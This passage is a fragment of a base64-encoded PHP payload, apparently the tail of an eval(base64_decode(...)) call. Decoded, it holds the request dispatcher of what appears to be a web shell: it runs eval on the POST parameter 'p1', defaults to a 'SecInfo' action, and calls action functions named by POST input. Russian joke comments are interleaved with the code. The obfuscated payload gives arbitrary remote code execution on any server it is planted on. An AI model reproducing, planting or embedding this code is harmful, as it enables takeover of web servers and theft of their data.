tNCwINC80L3QtSDQtdGRINGC0LXQv9C10YDRjCDQvtC00LXQstCw0YLRjCwg0L3QsCDQv9C40YHRjtC9PyAqLwogICAgICAgIHNlcmlhbGl6ZSgkYSk7CiAgICB9IGVsc2UgewogICAgICAgIGV2YWwoJF9QT1NUWydwMSddKTsKICAgIH0KfQoKaWYgKGVtcHR5KCRfUE9TVFsnYSddKSkgaWYgKGlzc2V0KCRfX2RlZmF1bHRfX2FjdGlvbikgJiYgLyogPEF2b24+OiDQotCw0LosINC00LDQuS3QutCwINC80L3QtSDRgtC10L/QtdGA0Ywg0LXQsdCw0LvQsNC50LrRgywg0LTQsNC5INGB0Y7QtNCwLi4uINCS0YHRkSwg0YLRiyDQsiDRgtGO0YDRjNC80YMg0YLQtdC/0LXRgNGMINC/0L7QudC00ZHRiNGMLCDQlNGN0LLQuNC0INCR0LvQtdC50L0hINCt0YLQviDQstC10YnQtNC+0LosINGN0YLQviDQstC10YnQtNC+0LohICovCiAgICBmdW5jdGlvbl9leGlzdHMoJ2FjdGlvbicgLiAkX19kZWZhdWx0X19hY3Rpb24pCikgJF9QT1NUWydhJ10gPSAkX19kZWZhdWx0X19hY3Rpb247IGVsc2UgLyogPFBldGVyPjog0IHQvNCw0L3QsNGA0L7Rgiwg0YLRiyDQstC80LXRgdGC0LUg0YEg0LTQttC40L3RgdCw0LzQuCDRgdC10LzRjNC00LXRgdGP0YIg0LTQvtC70LvQsNGA0L7QsiDRgdC60YPQutC+0LbQuNC7LCDQstGB0LUg0LrQvtC80L/QsNC60YIt0LTQuNGB0LrQuCDQv9C+0LrRg9C60L7QttC40LssINCU0LbQvtC9INCc0LXQuNGALCDQmtGN0LLQuCDQkNC90LTQtdGA0LLRg9C0LCDQlNC40YHQuiDQmiDQvNC40LvQu9C40L7QvdC10YAuLi4gKi8KJF9QT1NUWydhJ10gPSAnU2VjSW5mbyc7CmlmICghZW1wdHkoJF9QT1NUWydhJ10pICYmIC8qIDxQZXRlcj46INCi0Ysg0YHQutGD0LrQvtC20LjQuyDQmiDQvNC40LvQu9C40L7QvdC10YAsINGC0Ysg0LPQvtCy0L3RjtC6ISDQgdC80LDQvdCw0YDQvtGCISAqLwogICAgZnVuY3Rpb25fZXhpc3RzKCdhY3Rpb24nIC4gJF9QT1NUWydhJ10pCikgY2FsbF91c2VyX2Z1bmMoJ2FjdGlvbicgLiAkX1BPU1RbJ2EnXSk7CmV4aXQ7IC8qIDxBdm9uPjog0J7QvSDQvNCw0YjQuNC90YMg0YDQsNGB0LrRg9C60L7QttC40LssINC/0L7QutCwINGPINC10ZEg0LIg0YDRg9C60LDRhSDQtNC10YDQttCw0LshINCvINGH0YPRgtGMINC90LUg0YPQvNC10YAhICov'));